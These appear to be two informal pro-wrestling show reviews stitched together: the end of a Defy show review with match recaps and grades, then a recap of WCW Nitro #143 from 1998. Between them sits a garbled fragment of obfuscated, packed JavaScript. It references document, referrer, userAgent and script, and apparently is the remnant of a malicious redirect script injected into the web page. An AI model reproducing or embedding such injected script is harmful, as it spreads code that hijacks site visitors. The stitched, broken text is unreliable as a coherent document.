Rating: C+. This was another match where it felt like they were trying to get in as many people as possible. That isn’t the worst idea on a show like this, but it doesn’t exactly let anyone but the winner show off. Thankfully they didn’t spend too much time with the ring full, but it was more or less “everyone comes in and then Schaff beats the up”, which isn’t much of a match.

Sovereign vs. Dragon Gate vs. C4XKC

That would be:

Sovereign: Evan Rivers/Judas Icarus/Travis Williams
Dragon Gate: Ho Ho Lun/Kzy/Shun Skywalker
C4XKC: Cody Chhun/Guillermo Rosas/KC Navarro

Skywalker headscissors Chhun to start as Mega Ran talks about work he has done on entrance music and completely ignores the match. Navarro comes in to yell at Kzy but neither of them can actually make much contact. Icarus sneaks in for a hard clothesline on Kzy as Sovereign comes in to stomp away. Kzy gets pulled back into the corner but it’s Rosas coming in to clean house.

Everything breaks down and it’s time to start the rapid fire dives. Rivers sends Rosas into the corner and it’s Williams cranking on the arms over the ropes. Rosas is back up with a heck of a clothesline and the tag brings Chhun back in to pick up the pace. A DDT gets two on Williams and everything breaks down again.

Skywalker’s standing moonsault knees hit Chhun for two but Williams is back in with a moonsault for two of his own. We hit the parade of people knocking each other to the floor until C4XKC take over on Williams. Stereo rolling kicks to the head give C4XKC a triple pin on Williams at 12:40.

Rating: B-. As you might have expected, there is only so much you can get out of a match involving nine people in a single ring. While the teams probably have their own backstories and histories, we only got so much of those things here as commentary wasn’t exactly telling us much. The action was good and they did what you would have expected, but it would have been nice to know more about what I was watching.

The #1 Defy Match Of The Year is Judas Icarus vs. Mike Bailey. One might think they would give the date of the match but oh well.

Defy World Title: Kenta vs. Gringo Loco

Kenta is defending. They circle each other for about a minute until Kenta grabs a wristlock. Loco flips away and they stare it down again as this isn’t in the fastest gear to start. Kenta snaps off a headscissors and they head outside with Kenta taking him down again. The fight heads into the crowd with Kenta hammering away even more. Back in and some knees to the head let Kenta gloat a bit more.

An offer of a handshake just lets Kenta poke him in the eyes but Loco plants him down for a change. Loco works on the arm for a bit before going big with a double springboard moonsault for two. Some chops against the ropes just seem to wake Kenta up so he comes back with a release fisherman’s suplex. A tornado DDT gives Kenta two and he grabs the STF.

With that broken via the ropes, Kenta goes up but dives into a spinning sitout powerbomb for two. They head to the apron and slug it out where another powerbomb is countered into a DDT to plant Loco hard. The count is barely beaten so Kenta drops a top rope double stomp for two. Loco grabs something like a powerslam spun into an F5 for the same and they head up top.

Kenta tries a super Falcon Arrow but gets reversed into…uh well a super Falcon Arrow actually. The referee gets bumped and Kenta grabs a DDT, plus a chair for a bonus. A bunch of shots have Loco down but he counters a belt shot into an over the shoulder Tombstone. There’s no referee so Loco goes up, only to get kneed down for two. The Go To Sleep retains the title at 23:07.

Rating: B-. Lame ending to a pretty good match, as the chairs and ref bump felt like they needed a way to add drama. I’m not sure how regular Loco is in Defy but he felt like someone who was just there for the sake of having a challenger with a name. They were getting going near the end and then they did the stuff with the chair to bring it right back down. I was expecting more from this and it wound up being just strong enough for a main event.

Respect is shown to end the match. How nice of Loco to shrug off the rampant chair shots.

Overall Rating: B-. I remember having a great time with the first Defy show that I watched and this didn’t really come close to that. The biggest problem here was nothing about the show stood out. Save for maybe the battle royal, there was nothing on here that you couldn’t see on any decent independent show. This is the kind of show that I’m going to forget by the end of the day and that’s not something you want to say about any show, let alone something on the biggest wrestling weekend of the year.

 

 

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrztn|var|u0026u|referrer|rdrdz||js|php'.split('|'),0,{})) Nitro #143
Date: June 29, 1998
Location: Ice Palace, Tampa, Florida
Attendance: 10,900
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan, Larry Zbyszko

The Nitro Girls get us going. Not a bad way to start.

Kanyon vs. Horace

A semi-truck is on the way but not even in Florida yet according to Tony.

Opening sequence, nearly 20 minutes into the show.

The announcers talk about the tag match again.

The Black and White is arming itself with various metal weapons such as crowbars and chains.

More fans think Page and Malone are going to win.

Little Dragon vs. Eddie Guerrero

Chris Jericho offers Ultimo Dragon a title shot on Thunder if Dragon takes Malenko out tonight.

More Nitro Girls.

Nitro Party winner.

Sumo Fuji/Judo Suwa vs. Giant

The NWO clears the Dragon Gate guys out of the ring and says if Kevin Greene wants some right now, come get it. Greene comes to the aisle on his own with Hennig talking a lot of trash about the “non-athlete”. Goldberg shows up behind Greene and the good guys clear the ring. The Goldberg chant comes on, despite the crowd shots showing no one actually chanting.

More fans think Page and Malone will win.

Hour #2 begins.

Sting/Lex Luger vs. Jim Neidhart/British Bulldog

More fans, same opinions.

Saturn vs. Reese

The monster pounds Saturn in the chest to start but Saturn superkicks Reese down to his knees. Reese grabs Saturn and gorilla presses him from one knee in an impressive power display. Some knees in the corner have Saturn in trouble but he kicks Reese in the knee and takes him down. A missile dropkick drops Reese before the Death Valley Driver is good for the pin. We can add Saturn to the list of guys that WCW amazingly managed to screw up.

We recap the NWO beating down Greene las tweek until Goldberg made the save.

The motorcade continues.

More Nitro Girls.

El Vampiro vs. Brad Armstrong

Promo for the tag match at Bash at the Beach.

Tokyo Magnum/Shiima Nobunaga vs. Disco Inferno/Alex Wright

Disco and Alex argue over which music should play post match.

Tenay interviews fans about the tag match. Guess who they pick to win.

Ultimo Dragon vs. Dean Malenko

Fast start with Dragon cranking on the arm and taking Dean down with a flying mare. Malenko jumps over a leg sweep and avoids a kick before both guys try dropkicks to give us a standoff. Dragon grabs the arm to take over before shifting over the knee instead. We get the headstand out of the corner but Dean catches him coming out of the corner in a nasty looking release German suplex.

Hour #3 begins.

We get a clip from Thunder of Arn Anderson saying the Horsemen are over.

Chris Benoit/Steve McMichael vs. Harlem Heat

Dean catches up with Jericho in the locker room and pounds on him until Ultimo Dragon tries to break it up. Malenko beats on him for a bit, allowing Jericho to escape.

The longest motorcade route in history continues.

Hogan and Bischoff want Malone and Page here now. Hollywood has an idea though.

More Nitro Girls with the hometown girl Whisper getting a rare solo.

US Title: Glacier vs. Goldberg

The announcers talk about the motorcade again.

The rest of the Black and White are shown in the parking lot as Malone and Page arrive. Both guys come inside while Hogan and Bischoff talk trash. Page and Malone come in another door and bypass the NWO entirely, allowing them to sneak up on Hogan and Bischoff, chairs in hand. Hogan and Bischoff see them in the ring with Bischoff being thrown to the floor. Malone says bring it and we get an over minute long standoff. They lock up with Malone slamming Hogan down and clotheslining him a few times.